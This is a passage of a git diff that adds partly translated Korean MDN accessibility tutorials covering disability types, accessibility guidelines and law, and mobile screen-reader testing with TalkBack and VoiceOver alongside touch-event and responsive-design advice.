+ <li>접근성을 향상시키는 다른 좋은 방법은 당신의 사이트를 휴대폰 사용자, 낮은 네트워크 속도의 사용자등 다른 여러 사용자가 사용하기 쉽게 만든다.</li>
+ <li>
+  <p>우리가 어느 지역에서는 이것이 법의 적용을 받는다고 언급한 적이 있나요?</p>
+ </li>
+</ul>
+
+<h2 id="어떤_종류의_장애를_본_적이_있습니까">어떤 종류의 장애를 본 적이 있습니까?</h2>
+
+<p>장애가 있는 사람들도 장애가 없는 사람들만큼이나 다양하고, 그만큰 그들의 장애유형도 다양합니다. 여기서 중요한 교훈은 자신이 컴퓨터와 웹을 어떻게 사용하는 지에 대해 생각하고 다른 사람들이 웹을 어떻게 사용하는 지에 대해 배우는 것이다.</p>
+
+<p>장애의 주요 유형은 웹 콘텐츠에 액세스 하는 데 사용하는 전문 도구와 함께 아래에 설명되어 있습니다.(흔히 보조공학기기또는 보조기술 이라고 알려진).</p>
+
+<div class="note">
+<p><strong>Note</strong>: 세계 보건 기구(WHO)의 장애 및 보건 현황 보고서에 따르면 전 세계 인구의 약 15%에 해당하는 십억명 이상의 사람들이 장애를 갖고 있으며 1억 1천만명에서 1억 9천만명의 성인들이 심각한 장애를 갖고 있다.</p>
+
+<p> </p>
+</div>
+
+<h3 id="시각장애인">시각장애인</h3>
+
+<p>여기에는 전맹, 저시력 장애인 색각장애인등이 포함되며 이런 많은 사람들이 화면확대경(물리적 확대경 또는 소프트웨어 줌 기능 - 대부분의 브라우저와 운영 체제에는 최근 확대 / 축소 기능이 있음)과 디지털 글자를 큰소리로 읽어주는 소프트웨어인 화면낭독기를 사용한다.</p>
+
+<ul>
+ <li>일부는 <a class="external external-icon" href="http://www.freedomscientific.com/Products/Blindness/JAWS">JAWS</a> (Windows) 와 <a class="external external-icon" href="http://www.gwmicro.com/window-eyes/">Window Eyes</a> (Windows) 같은 상업적인 제품을 사용한다.</li>
+ <li>일부는 <a class="external external-icon" href="http://www.nvaccess.org/">NVDA</a> (Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows and Mac OS X), 와 <a class="external external-icon" href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux) 같은 무료 소프트웨어를 사용하기도 한다.</li>
+ <li>일부는 <a class="external external-icon" href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X and iOS), <a class="external external-icon" href="https://support.microsoft.com/en-us/help/22798/windows-10-narrator-get-started">Narrator</a> (Microsoft Windows), <a class="external external-icon" href="http://www.chromevox.com/">ChromeVox</a> (on Chrome OS), <a class="external external-icon" href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android)과 같은 OS에 장착된 소프트 웨어를 사용하기도 한다.</li>
+</ul>
+
+<p> </p>
+
+<p>스크린 리더들과 친숙해 지는 것은 좋은 생각이다; 당신은 또한 스크린 리더를 설치하고 그것을 가지고 노는 것이 어떻게 작동하는 지에 대한 아이디어를 얻기 위해서 필요하다. 사용에 대한 자세한 내용은 크로스 브라우저 테스트 화면 판독기 가이드( <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">cross browser testing screen readers guide</a>)를 참조하십시오. 아래의 비디오는 또한 경험이 어떠한지에 대한 간단한 예를 제공한다.</p>
+
+<p>{{EmbedYouTube("IK97XMibEws")}}</p>
+
+<p> </p>
+
+<p>In terms of statistics, the World Health Organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see <a href="http://www.who.int/mediacentre/factsheets/fs282/en/">Visual impairment and blindness</a>). That's a large and significant population of users to just miss out on because your site isn't coded properly — almost the same size as the population of the United States of America.</p>
+
+<h3 id="People_with_hearing_impairments">People with hearing impairments</h3>
+
+<p>Otherwise known as people with auditory impairments, or deaf people, this group of people have either low hearing levels or no hearing at all. Hearing-impaired people do use ATs (see <a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">Assistive Devices for People with Hearing, Voice, Speech, or Language Disorders</a>), but there are not really special ATs specific for computer/web use.</p>
+
+<p>There are, however, specific techniques to bear in mind for providing text alternatives to audio content that they can read, from simple text transcripts, to text tracks (i.e. captions) that can be displayed along with video. An article later on will discuss these.</p>
+
+<p>Hearing-impaired people also represent a significant userbase — "360 million people worldwide have disabling hearing loss", says the World Health Organization's <a href="http://www.who.int/mediacentre/factsheets/fs300/en/">Deafness and hearing loss</a> fact sheet.</p>
+
+<h3 id="People_with_mobility_impairments">People with mobility impairments</h3>
+
+<p>These people have disabilities concerning movement, which might involve purely physical issues (such as loss of limb or paralysis), or neurological/genetic disorders that lead to weakness or loss of control in limbs. Some people might have difficulty making the exact hand movements required to use a mouse, while others might be more severely affected, perhaps being significantly paralysed to the point where they need to use a <a href="http://pattersonmedical.com/app.aspx?cmd=getProductDetail&amp;key=070_921118261">head pointer</a> to interact with computers.</p>
+
+<p>This kind of disability can also be a result of old age, rather than any specific trauma or condition, and it could also result from hardware limitations — some users might not have a mouse.</p>
+
+<p>The way this usually affects web development work is the requirement that controls be accessible by the keyboard — we'll discuss keyboard accessibility in later articles in the module, but it is a good idea to try out some websites using just the keyboard to see how you get on. Can you use the tab key to move between the different controls of a web form, for example? You can find more details about keyboard controls in our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Cross browser testing Using native keyboard accessibility</a> section.</p>
+
+<p>In terms of statistics, a significant number of people have mobility impairments. The U.S. Centers for Disease Control and Prevention <a href="http://www.cdc.gov/nchs/fastats/disability.htm">Disability and Functioning (Noninstitutionalized Adults 18 Years and Over)</a> reports the USA "Percent of adults with any physical functioning difficulty: 15.1%".</p>
+
+<h3 id="People_with_cognitive_impairments">People with cognitive impairments</h3>
+
+<p>Probably the widest range of disabilities can be seen in this last category — cognitive impairment can broadly refer to disabilities from mental illnesses to learning difficulties, difficulties in comprehension and concentration like <a href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">ADHD (attention deficit hyperactivity disorder)</a>, to people on the <a href="https://www.nimh.nih.gov/health/topics/autism-spectrum-disorders-asd/index.shtml">autistic spectrum</a>, to people with <a href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">schizophrenia</a>, and many other types of disorder besides. Such disabilities can affect many parts of everyday life, due to problems with memory, problem solving, comprehension, attention, etc.</p>
+
+<p>The most common ways that such disabilities might affect website usage is difficulty in understanding how to complete a task, remembering how to do something that was previously accomplished, or increased frustration at confusing workflows or inconsistent layouts/navigation/other page features.</p>
+
+<p>Unlike other web accessibility issues, it is impossible to prescribe quick fixes to many web accessibility issues arising from cognitive disabilities; the best chance you've got is to design your websites to be as logical, consistent, and usable as possible, so for example making sure that:</p>
+
+<ul>
+ <li>pages are consistent — navigation, header, footer, and main content are always in the same places.</li>
+ <li>tools are well-designed and easy to use.</li>
+ <li>multi-stage processes are broken down into logical steps, with regular reminders of how far through the process you are, and how long you've got left to complete the process, if appropriate.</li>
+ <li>workflows are logical, simple, and require as few interactions as possible to complete. For example, registering and signing in to a website is often unneccessarily complex.</li>
+ <li>pages are not overly long or dense in terms of the amount of information presented at once.</li>
+ <li>the language used in your pages is as plain and easy to follow as possible, and not full of unneccessary jargon and slang.</li>
+ <li>important points and content are highlighted in some way.</li>
+ <li>user errors are clearly highlighted, with help messages to suggest solutions.</li>
+</ul>
+
+<p>These are not "accessibility techniques" as such — they are good design practices. They will benefit everyone using your sites and should be a standard part of your work.</p>
+
+<p>In terms of statistics, again the numbers are significant. Cornell University's <a href="http://www.disabilitystatistics.org/StatusReports/2014-PDF/2014-StatusReport_US.pdf">2014 Disability Status Report</a> (PDF, 511KB) indicates that in 2014, 4.5% of people in the USA aged 21–64 had some form of cognitive disability.</p>
+
+<div class="note">
+<p><strong>Note</strong>: WebAIM's <a href="http://webaim.org/articles/cognitive/">Cognitive</a> page provides a useful expansion of these ideas, and is certainly worth reading.</p>
+</div>
+
+<h2 id="Implementing_accessibility_into_your_project">Implementing accessibility into your project</h2>
+
+<p>A common accessibility myth is that accessibility is an expensive "added extra" to implement on a project. This myth actually <em>can</em> be true if either:</p>
+
+<ul>
+ <li>You are trying to "retrofit" accessibility onto an existing website that has significant accessiblity issues.</li>
+ <li>You have only started to consider accessibility and uncovered related issues in the late stages of a project.</li>
+</ul>
+
+<p>If however you consider accessibility from the start of a project, the cost of making most content accessible should be fairly minimal.</p>
+
+<p>When planning your project, factor accessibility testing into your testing regime, just like testing for any other important target audience segment (e.g. target desktop or mobile browsers). Test early and often, ideally running automated tests to pick up on programmatically detectable missing features (such as missing image <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">alternative text</a> or bad link text — see <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">Element relationships and context</a>), and doing some testing with disabled user groups to see how well more complex site features work for them. For example:</p>
+
+<ul>
+ <li>Is my date picker widget usable by people using screen readers?</li>
+ <li>If content updates dynamically, do visually impaired people know about it?</li>
+ <li>Are my UI buttons accessible using the keyboard and on touch interfaces?</li>
+</ul>
+
+<p>You can and should keep a note of potential problem areas in your content that will need work to make it accessible, make sure it is tested thoroughly, and think about solutions/alternatives. Text content (as you'll see in the next article) is easy, but what about your multimedia content, and your whizzy 3D graphics? You should look at your project budget and realistically think about what solutions you have available to make such content accessible? You could pay to have all your multimedia content transcribed, which can be expensive, but can be done.</p>
+
+<p>Also, be realistic. "100% accessibility" is an unobtainable ideal — you will always come across some kind of edge case that results in a certain user finding certain content difficult to use — but you should do as much as you can. If you are planning to include a whizzy 3D pie chart graphic made using WebGL, you might want to include a data table as an accessible alternative representation of the data. Or, you might want to just include the table and get rid of the 3D pie chart — the table is accessible by everyone, quicker to code, less CPU-intensive, and easier to maintain.</p>
+
+<p>On the other hand, if you are working on a gallery website showing interesting 3D art, it would be unreasonable to expect every piece of art to be perfectly accessible to visually impaired people, given that it is an entirely visual medium.</p>
+
+<p>To show that you care and have thought about accessibility, publish an accessibility statement on your site that details what your policy is toward accessibility, and what steps you have taken toward making the site accessible. If someone does complain that your site has an accessibility problem, start a dialog with them, be empathic, and take reasonable steps to try to fix the problem.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems article</a> covers accessibility specifics that should be tested in more detail.</p>
+</div>
+
+<p>To summarize:</p>
+
+<ul>
+ <li>Consider accessibility from the start of a project, and test early and often. Just like any other bug, an accessibility problem becomes more expensive to fix the later it is discovered.</li>
+ <li>Bear in mind that a lot of accessibility best practices benefit everyone, not just users with disabilities. For example, lean semantic markup is not only good for screen readers, it is also fast to load and performant, so better for everyone, especially those on mobile devices, and/or slow conections.</li>
+ <li>Publish an accessibility statement on your site and engage with people having problems.</li>
+</ul>
+
+<h2 id="Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</h2>
+
+<p>There are numerous checklists and sets of guidelines available for basing accessibility tests on, which might seem overwhelming at first glance. Our advice is to familiarize yourself with the basic areas in which you need to take care, as well as understanding the high level structures of the guidelines that are most relevant to you.</p>
+
+<ul>
+ <li>For a start, the W3C has published a large and very detailed document that includes very precise, technology-agnostic criteria for accessibility conformance. These are called the <a href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a> (WCAG), and they are not a short read by any means. The criteria are split up into four main categories, which specify how implementations can be made perceivable, operable, understandable, and robust. The best place to get a light introduction and start learning is <a href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG at a Glance</a>. There is no need to learn WCAG off by heart — be aware of the major areas of concern, and use a variety of techniques and tools to highlight any areas that don't conform to the WCAG criteria (see below for more).</li>
+ <li>Your country may also have specific legislation governing the need for websites serving their population to be accessible — for example <a href="http://www.section508.gov/content/learn">Section 508 of the Rehabilitation Act</a> in the US, <a href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">Federal Ordinance on Barrier-Free Information Technology</a> in Germany, the <a href="http://www.legislation.gov.uk/ukpga/2010/15/contents">Equality Act</a> in the UK, <a href="http://www.agid.gov.it/agenda-digitale/pubblica-amministrazione/accessibilita">Accessibilità</a> in Italy, the <a href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">Disability Discrimination Act</a> in Australia, etc.</li>
+</ul>
+
+<p>So while the WCAG is a set of guidelines, your country will probably have laws governing web accessibility, or at least the accessibility of services available to the public (which could include websites, television, physical spaces, etc.) It is a good idea to find out what your laws are. If you make no effort to check that your content is accessible, you could possibly get in trouble with the law if people with diabilities complain about it.</p>
+
+<p>This sounds serious, but really you just need to consider accessibility as a main priority of your web development practices, as outlined above. If in doubt, get advice from a qualified lawyer. We're not going to offer any more advice than this, because we're not lawyers.</p>
+
+<h2 id="Accessibility_APIs">Accessibility APIs</h2>
+
+<p>Web browsers make use of special <strong>accessibility APIs</strong> (provided by the underlying operating system) that expose information useful for assistive technologies (ATs) — ATs mostly tend to make use of semantic information, so this information doesn't include things like styling information, or JavaScript. This information is structured in a tree of information called the <strong>accessibility tree</strong>.</p>
+
+<p>Different operating systems have different accessibility APIs available :</p>
+
+<ul>
+ <li>Windows: MSAA/IAccessible, UIAExpress, IAccessible2</li>
+ <li>Mac OS X: NSAccessibility</li>
+ <li>Linux: AT-SPI</li>
+ <li>Android: Accessibility framework</li>
+ <li>iOS: UIAccessibility</li>
+</ul>
+
+<p>Where the native semantic information provided by the HTML elements in your web apps falls down, you can supplement it with features from the <a href="https://www.w3.org/TR/wai-aria/">WAI-ARIA specification</a>, which add semantic information to the accessibility tree to improve accessibility. You can learn a lot more about WAI-ARIA in our <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a> article.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article should have given you a useful high level overview of accessibility, shown you why it's important, and looked at how you can fit it into your workflow. You should now also have a thirst to learn about the implementation details that can make sites accessible, and we'll start on that in the next section, looking at why HTML is a good basis for accessibility.</p>
+
+<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li>
+</ul>
diff --git a/files/ko/learn/접근성/모바일/index.html b/files/ko/learn/접근성/모바일/index.html
new file mode 100644
index 0000000000..a64c0eaa88
--- /dev/null
+++ b/files/ko/learn/접근성/모바일/index.html
@@ -0,0 +1,315 @@
+---
+title: 모바일 접근성
+slug: Learn/접근성/모바일
+translation_of: Learn/Accessibility/Mobile
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div>
+
+<p class="summary">모바일 기기에서 웹 접근이 매우 자주 발생하고 iOS와 안드로이드와 같은 유명 플랫폼들은 전문적인 접근성 점검도구들이 있기 때문에 웹콘텐츠의 접근성을 고려하는 것이 더욱 중요하다. 여기서는 모바일환경을 중심으로 접근성 고려사항을 살펴본다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전지식:</th>
+   <td>
+    <p>기본적인 컴퓨터 사용능력, HTML, CSS, JavaScript에 대한 기본적인 이해, 그리고 <a href="/en-US/docs/Learn/Accessibility">이전 내용들에 대한 이해</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>
+    <p>모바일 기기의 접근성에 어떤 문제가 있는지, 그리고 이를 극복하는 방법을 이해한다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="모바일_장치에서의_접근성">모바일 장치에서의 접근성</h2>
+
+<p>접근성 상태(일반적으로 웹 표준에 대한 지원)는 최근의 모바일 장치에서 좋다. 모바일 기기가 데스크톱 브라우저에 전혀 다른 웹 기술을 실행하면서 개발자들이 브라우저 코웃음을 치며 완전히 별개의 사이트에 서비스를 제공하도록 강요하던 시대는 이미 오래 전에 지났다(아직도 상당수의 회사가 모바일 장치의 사용을 감지하여 별도의 모바일 도메인을 서비스하고 있다).</p>
+
+
+
+<p>The state of accessibility — and support for web standards in general — is good in modern mobile devices. Long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain).</p>
+
+<p>These days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. Modern mobile browsers tend to have good support for <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a>, too.</p>
+
+<p>To make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices.</p>
+
+<p>There are some exceptions that need special consideration for mobile; the main ones are:</p>
+
+<ul>
+ <li>Control mechanisms — Make sure interface controls such as buttons are accessible on mobiles (i.e., mainly touchscreen), as well as desktops/laptops (mainly mouse/keyboard).</li>
+ <li>User input — Make user input requirements as painless as possible on mobile (e.g., in forms, keep typing to a minimum).</li>
+ <li>Responsive design — Make sure layouts work on mobile, conserve image download sizes, and think about the provision of images for high-resolution screens.</li>
+</ul>
+
+<h2 id="Summary_of_screenreader_testing_on_Android_and_iOS">Summary of screenreader testing on Android and iOS</h2>
+
+<p>The most common mobile platforms have fully functional screen readers. These function in much the same way as desktop screenreaders, except they are largely operated using touch gestures rather than key combinations.</p>
+
+<p>Let's look at the main two: TalkBack on Android and VoiceOver on iOS.</p>
+
+<h3 id="Android_TalkBack">Android TalkBack</h3>
+
+<p>The TalkBack screen reader is built into the Android operating system.</p>
+
+<p>To turn it on, look up what phone model and Android version you have, and then look up where the TalkBack menu is. It tends to differ widely between Android versions and even between different phone models. Some phone manufacturers (e.g. Samsung) don't even have TalkBack in newer phones, and instead opted for their own screen reader.</p>
+
+<p>When you've found the TalkBack menu, press the slider switch to turn TalkBack on. Follow any additional on-screen prompts that you are presented with.</p>
+
+<p>When TalkBack is turned on, your Android device's basic controls will be a bit different. For example:</p>
+
+<ol>
+ <li>Single-tapping an app will select it, and the device will read out what the app is.</li>
+ <li>Swiping left and right will move between apps, or buttons/controls if you are in a control bar. The device will read out each option.</li>
+ <li>Double-tapping anywhere will open the app/select the option.</li>
+ <li>You can also "explore by touch" — hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across.</li>
+</ol>
+
+<p>If you want to turn TalkBack off:</p>
+
+<ol>
+ <li>Navigate back to the TalkBack menu screen (using the different gestures that are currently enabled.)</li>
+ <li>Navigate to the slider switch and activate it to turn it off.</li>
+</ol>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> You can get to your home screen at any time by swiping up and left in a smooth motion. If you have more than one home screen, you can move between them by swiping two fingers left and right.</p>
+</div>
+
+<p>For a more complete list of TalkBack gestures, see <a href="https://support.google.com/accessibility/android/answer/6151827">Use TalkBack gestures</a>.</p>
+
+<h4 id="Unlocking_the_phone">Unlocking the phone</h4>
+
+<p>When TalkBack is turned on, unlocking the phone is a bit different.</p>
+
+<p>You can do a two-finger swipe up from the bottom of the lock screen. If you've set a passcode or pattern for unlocking your device, you will then be taken to the relevant entry screen to enter it.</p>
+
+<p>You can also explore by touch to find the <em>Unlock</em> button at the bottom middle of the screen, and then double-tap.</p>
+
+<h4 id="Global_and_local_menus">Global and local menus</h4>
+
+<p>TalkBack allows you to access global and local context menus, wherever you have navigated to on the device. The former provides global options relating to the device as a whole, and the latter provides options relating just to the current app/screen you are in.</p>
+
+<p>To get to these menus:</p>
+
+<ol>
+ <li>Access the global menu by quickly swiping down, and then right.</li>
+ <li>Access the local menu by quickly swiping up, and then right.</li>
+ <li>Swipe left and right to cycle between the different options.</li>
+ <li>Once you've selected the option you want, double-click to choose that option.</li>
+</ol>
+
+<p>For details on all the options available under the global and local context menus, see <a href="https://support.google.com/accessibility/android/answer/6007066">Use global and local context menus</a>.</p>
+
+<h4 id="Browsing_web_pages">Browsing web pages</h4>
+
+<p>You can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc.</p>
+
+<p>For example, with TalkBack turned on:</p>
+
+<ol>
+ <li>Open your web browser.</li>
+ <li>Activate the URL bar.</li>
+ <li>Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL:
+  <ul>
+   <li>Select the URL bar by swiping left/right till you get to it, and then double-tapping.</li>
+   <li>Hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to type it. Repeat for each character.</li>
+   <li>Once you've finished, find the Enter key and press it.</li>
+  </ul>
+ </li>
+ <li>Swipe left and right to move between different items on the page.</li>
+ <li>Swipe up and right with a smooth motion to enter the local content menu.</li>
+ <li>Swipe right until you find the "Headings and Landmarks" option.</li>
+ <li>Double-tap to select it. Now you'll be able to swipe left and right to move between headings and ARIA landmarks.</li>
+ <li>To go back to the default mode, enter the local context menu again by swiping up and right, select "Default", and then double-tap to activate.</li>
+</ol>
+
+<p><strong>Note:</strong> See <a href="https://support.google.com/accessibility/android/answer/6283677?hl=en&amp;ref_topic=3529932">Get started on Android with TalkBack</a> for more complete documentation.</p>
+
+<h3 id="iOS_VoiceOver">iOS VoiceOver</h3>
+
+<p>A mobile version of VoiceOver is built into the iOS operating system.</p>
+
+<p>To turn it on, go to Your <em>Settings</em> app and select<em> Accessibility &gt; VoiceOver</em>. Press the <em>VoiceOver</em> slider to enable it (you'll also see a number of other options related to VoiceOver on this page).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Some older iOS devices have the VoiceOver menu at <em>Settings app</em> &gt; <em>General</em> &gt; <em>Accessibility</em> &gt; <em>VoiceOver</em>.</p>
+</div>
+
+<p>Once VoiceOver is enabled, iOS's basic control gestures will be a bit different:</p>
+
+<ol>
+ <li>A single tap will cause the item you tap on to be selected; your device will speak the item you've tapped on.</li>
+ <li>You can also navigate the items on the screen by swiping left and right to move between them, or by sliding your finger around on the screen to move between different items (when you find the item you want, you can remove your finger to select it).</li>
+ <li>To activate the selected item (e.g., open a selected app), double-tap anywhere on the screen.</li>
+ <li>Swipe with three fingers to scroll through a page.</li>
+ <li>Tap with two fingers to perform a context-relevant action — for example, taking a photo while in the camera app.</li>
+</ol>
+
+<p>To turn it off again, navigate back to <em>Settings &gt; General &gt; Accessibility &gt; VoiceOver</em> using the above gestures, and toggle the <em>VoiceOver</em> slider back to off.</p>
+
+<h4 id="Unlock_phone">Unlock phone</h4>
+
+<p>To unlock the phone, you need to press the home button (or swipe) as normal. If you have a passcode set, you can select each number by swiping/sliding (as explained above) and then double-tapping to enter each number when you've found the right one.</p>
+
+<h4 id="Using_the_Rotor">Using the Rotor</h4>
+
+<p>When VoiceOver is turned on, you have a navigation feature called the Rotor available to you, which allows you to quickly choose from a number of common useful options. To use it:</p>
+
+<ol>
+ <li>Twist two fingers around on the screen like you are turning a dial. Each option will be read aloud as you twist further around. You can go back and forth to cycle through the options.</li>
+ <li>Once you've found the option you want:
+  <ul>
+   <li>Release your fingers to select it.</li>
+   <li>If it is an option you can iterate the value of (such as Volume or Speaking Rate), you can do a swipe up or down to increase or decrease the value of the selected item.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>The options available under the Rotor are context-sensitive — they will differ depending on what app or view you are in (see below for an example).</p>
+
+<h4 id="Browsing_web_pages_2">Browsing web pages</h4>
+
+<p>Let's have a go at web browsing with VoiceOver:</p>
+
+<ol>
+ <li>Open your web browser.</li>
+ <li>Activate the URL bar.</li>
+ <li>Enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. To enter the text of the URL:
+  <ul>
+   <li>Select the URL bar by swiping left/right until you get to it, and then double-tapping.</li>
+   <li>For each character, hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to select it. Double-tap to type it.</li>
+   <li>Once you've finished, find the Enter key and press it.</li>
+  </ul>
+ </li>
+ <li>Swipe left and right to move between items on the page. You can double-tap an item to select it (e.g., follow a link).</li>
+ <li>By default, the selected Rotor option will be Speaking Rate; you can currently swipe up and down to increase or decrease the speaking rate.</li>
+ <li>Now turn two fingers around the screen like a dial to show the rotor and move between its options. Here are a few examples of the options available:
+  <ul>
+   <li><em>Speaking Rate</em>: Change the speaking rate.</li>
+   <li><em>Containers</em>: Move between different semantic containers on the page.</li>
+   <li><em>Headings</em>: Move between headings on the page.</li>
+   <li><em>Links</em>: Move between links on the page.</li>
+   <li><em>Form Controls</em>: Move between form controls on the page.</li>
+   <li><em>Language</em>: Move between different translations, if they are available.</li>
+  </ul>
+ </li>
+ <li>Select <em>Headings</em>. Now you'll be able to swipe up and down to move between headings on the page.</li>
+</ol>
+
+<p><strong>Note:</strong> For a more complete reference covering the VoiceOver gestures available and other hints on accessibility testing on iOS, see <a href="https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3">Test Accessibility on Your Device with VoiceOver</a>.</p>
+
+<h2 id="Control_mechanisms">Control mechanisms</h2>
+
+<p>In our CSS and JavaScript accessibility article, we looked at the idea of events that are specific to a certain type of control mechanism (see <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events">Mouse-specific events</a>). To recap, these cause accessibility issues because other control mechanisms can't activate the associated functionality.</p>
+
+<p>As an example, the <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick">click</a> event is good in terms of accessibility — an associated event handler can be invoked by clicking the element the handler is set on, tabbing to it and pressing Enter/Return, or tapping it on a touchscreen device. Try our <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html">simple-button-example.html</a> example (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html">see it running live</a>) to see what we mean.</p>
+
+<p>Alternatively, mouse-specific events such as <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmousedown">mousedown</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onmouseup">mouseup</a> create problems — their event handlers cannot be invoked using non-mouse controls.</p>
+
+<p>If you try to control our <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html">simple-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html">see example live</a>) example with a keyboard or touch, you'll see the problem. This occurs because we are using code such as the following:</p>
+
+<pre>div.onmousedown = function() {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  movePanel();
+}
+
+document.onmouseup = stopMove;</pre>
+
+<p>To enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices:</p>
+
+<pre>div.ontouchstart = function(e) {
+  initialBoxX = div.offsetLeft;
+  initialBoxY = div.offsetTop;
+  positionHandler(e);
+  movePanel();
+}
+
+panel.ontouchend = stopMove;</pre>
+
+<p>We've provided a simple example that shows how to use the mouse and touch events together — see <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html">multi-control-box-drag.html</a> (<a href="http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html">see the example live</a> also).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> You can also see fully functional examples showing how to implement different control mechanisms at <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Control_mechanisms">Implementing game control mechanisms</a>.</p>
+</div>
+
+<h2 id="Responsive_design">Responsive design</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Responsive">Responsive design</a> is the practice of making your layouts and other features of your apps dynamically change depending on factors such as screen size and resolution, so they are usable and accessible to users of different device types.</p>
+
+<p>In particular, the most common problems that need to be addressed for mobile are:</p>
+
+<ul>
+ <li>Suitability of layouts for mobile devices. A multi-column layout won't work as well on a narrow screen, for example, and the text size may need to be increased so it is legible. Such issues can be solved by creating a responsive layout using technologies such as <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">media queries</a>, <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, and <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>.</li>
+ <li>Conserving image sizes downloaded. In general, small screen devices won't need images that are as large as their desktop counterparts, and they are more likely to be on slow network connections. Therefore, it is wise to serve smaller images to narrow screen devices as appropriate. You can handle this using <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">responsive image techniques</a>.</li>
